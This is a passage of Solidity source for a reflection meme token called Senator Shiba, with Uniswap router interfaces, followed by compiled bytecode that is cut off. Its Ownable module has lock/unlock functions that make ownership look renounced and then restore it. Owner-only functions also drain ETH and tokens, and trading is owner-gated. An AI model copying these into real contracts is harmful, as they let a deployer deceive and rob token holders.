memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require( _previousOwner == msg.sender, "You don't have permission to unlock" ); require(block.timestamp > _lockTime, "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract SenatorShiba is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 6942069420 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "Senator Shiba"; string private _symbol = "SS"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 12; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 69420000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 69420000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); (uint256 rAmount, , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function upliftTxAmount() external onlyOwner { _maxTxAmount = 69420000 * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner { require( SwapThresholdAmount > 69420000, "Swap Threshold Amount cannot be less than 69 Million" ); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens() public onlyOwner { payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner { tokenAddress.transfer( walletaddress, tokenAddress.balanceOf(address(this)) ); } function clearStuckBalance(address payable walletaddress) external onlyOwner { walletaddress.transfer(address(this).balance); } function allowtrading() external onlyOwner { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function removeAllFee() private { if (_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) require( amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(75).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!canTrade) { require(sender == owner()); // only owner allowed to trade or add liquidity } if (!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x60806040526004361061026b5760003560e01c80635d098b3811610144578063a6334231116100b6578063d12a76881161007a578063d12a76881461092b578063dd46706414610956578063dd62ed3e1461097f578063e8c4c43c146109bc578063ea2f0b37146109d3578063f2fde38b146109fc57610272565b8063a63342311461086c578063a69df4b514610883578063a9059cbb1461089a578063b6c52324146108d7578063c49b9a801461090257610272565b8063764d72bf11610108578063764d72bf146107485780637d1db4a51461077157806388f820201461079c5780638da5cb5b146107d957806395d89b4114610804578063a457c2d71461082f57610272565b80635d098b38146106755780636bc87c3a1461069e57806370a08231146106c9578063715018a61461070657806375f0a8741461071d57610272565b806339509351116101dd5780634549b039116101a15780634549b0391461056557806348c54b9d146105a257806349bd5a5e146105b95780634a74bb02146105e457806352390c021461060f5780635342acb41461063857610272565b806339509351146104825780633ae7dc20146104bf5780633b124fe7146104e85780633bd5d17314610513578063437823ec1461053c57610272565b806323b872dd1161022f57806323b872dd1461036057806329e04b4a1461039d5780632d838119146103c65780632f05205c14610403578063313ce5671461042e5780633685d4191461045957610272565b806306fdde0314610277578063095ea7b3146102a257806313114a9d146102df5780631694505e1461030a57806318160ddd1461033557610272565b3661027257005b600080fd5b34801561028357600080fd5b5061028c610a25565b60405161029991906149fd565b60405180910390f35b3480156102ae57600080fd5b506102c960048036038101906102c49190614ab8565b610ab7565b6040516102d69190614b13565b60405180910390f35b3480156102eb57600080fd5b506102f4610ad5565b6040516103019190614b3d565b60405180910390f35b34801561031657600080fd5b5061031f610adf565b60405161032c9190614bb7565b60405180910390f35b34801561034157600080fd5b5061034a610b03565b6040516103579190614b3d565b60405180910390f35b34801561036c57600080fd5b5061038760048036038101906103829190614bd2565b610b0d565b6040516103949190614b13565b60405180910390f35b3480156103a957600080fd5b506103c460048036038101906103bf9190614c25565b610be6565b005b3480156103d257600080fd5b506103ed60048036038101906103e89190614c25565b610cda565b6040516103fa9190614b3d565b60405180910390f35b34801561040f57600080fd5b50610418610d48565b6040516104259190614b13565b60405180910390f35b34801561043a57600080fd5b50610443610d5b565b6040516104509190614c6e565b60405180910390f35b34801561046557600080fd5b50610480600480360381019061047b9190614c89565b610d72565b005b34801561048e57600080fd5b506104a960048036038101906104a49190614ab8565b6110c1565b6040516104b69190614b13565b60405180910390f35b3480156104cb57600080fd5b506104e660048036038101906104e19190614cf4565b611174565b005b3480156104f457600080fd5b506104fd611323565b60405161050a9190614b3d565b60405180910390f35b34801561051f57600080fd5b5061053a60048036038101906105359190614c25565b611329565b005b34801561054857600080fd5b50610563600480360381019061055e9190614c89565b6114a4565b005b34801561057157600080fd5b5061058c60048036038101906105879190614d60565b611594565b6040516105999190614b3d565b60405180910390f35b3480156105ae57600080fd5b506105b7611618565b005b3480156105c557600080fd5b506105ce611718565b6040516105db9190614daf565b60405180910390f35b3480156105f057600080fd5b506105f961173c565b6040516106069190614b13565b60405180910390f35b34801561061b57600080fd5b5061063660048036038101906106319190614c89565b61174f565b005b34801561064457600080fd5b5061065f600480360381019061065a9190614c89565b611a03565b60405161066c9190614b13565b60405180910390f35b34801561068157600080fd5b5061069c60048036038101906106979190614c89565b611a59565b005b3480156106aa57600080fd5b506106b3611b32565b6040516106c09190614b3d565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb9190614c89565b611b38565b6040516106fd9190614b3d565b60405180910390f35b34801561071257600080fd5b5061071b611c23565b005b34801561072957600080fd5b50610732611d76565b60405161073f9190614daf565b60405180910390f35b34801561075457600080fd5b5061076f600480360381019061076a9190614e08565b611d9c565b005b34801561077d57600080fd5b50610786611e7b565b6040516107939190614b3d565b60405180910390f35b3480156107a857600080fd5b506107c360048036038101906107be9190614c89565b611e81565b6040516107d09190614b13565b60405180910390f35b3480156107e557600080fd5b506107ee611ed7565b6040516107fb9190614daf565b60405180910390f35b34801561081057600080fd5b50610819611f00565b60405161082691906149fd565b60405180910390f35b34801561083b57600080fd5b5061085660048036038101906108519190614ab8565b611f92565b6040516108639190614b13565b60405180910390f35b34801561087857600080fd5b5061088161205f565b005b34801561088f57600080fd5b50610898612111565b005b3480156108a657600080fd5b506108c160048036038101906108bc9190614ab8565b6122e5565b6040516108ce9190614b13565b60405180910390f35b3480156108e357600080fd5b506108ec612303565b6040516108f99190614b3d565b60405180910390f35b34801561090e57600080fd5b5061092960048036038101906109249190614e35565b61230d565b005b34801561093757600080fd5b506109406123f6565b60405161094d9190614b3d565b60405180910390f35b34801561096257600080fd5b5061097d60048036038101906109789190614c25565b6123fc565b005b34801561098b57600080fd5b506109a660048036038101906109a19190614e62565b6125c3565b6040516109b39190614b3d565b60405180910390f35b3480156109c857600080fd5b506109d161264a565b005b3480156109df57600080fd5b506109fa60048036038101906109f59190614c89565b6126ef565b005b348015610a0857600080fd5b50610a236004803603810190610a1e9190614c89565b6127df565b005b6060600e8054610a3490614ed1565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6090614ed1565b8015610aad5780601f10610a8257610100808354040283529160200191610aad565b820191906000526020600020905b815481529060010190602001808311610a9057829003601f168201915b5050505050905090565b6000610acb610ac46129a1565b84846129a9565b6001905092915050565b6000600c54905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600a54905090565b6000610b1a848484612b74565b610bdb84610b266129a1565b610bd685604051806060016040528060288152602001615d6e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b8c6129a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee19092919063ffffffff16565b6129a9565b600190509392505050565b610bee6129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290614f4f565b60405180910390fd5b63042343e08111610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890614fe1565b60405180910390fd5b633b9aca0081610cd19190615030565b60178190555050565b6000600b54821115610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d18906150fc565b60405180910390fd5b6000610d2b612f45565b9050610d408184612f7090919063ffffffff16565b915050919050565b600960009054906101000a900460ff1681565b6000601060009054906101000a900460ff16905090565b610d7a6129a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfe90614f4f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8a90615168565b60405180910390fd5b60005b6008805490508110156110bd578173ffffffffffffffffffffffffffffffffffffffff1660088281548110610ece57610ecd615188565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156110aa5760086001600880549050610f2991906151b7565b81548110610f3a57610f39615188565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660088281548110610f7957610f78615188565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffff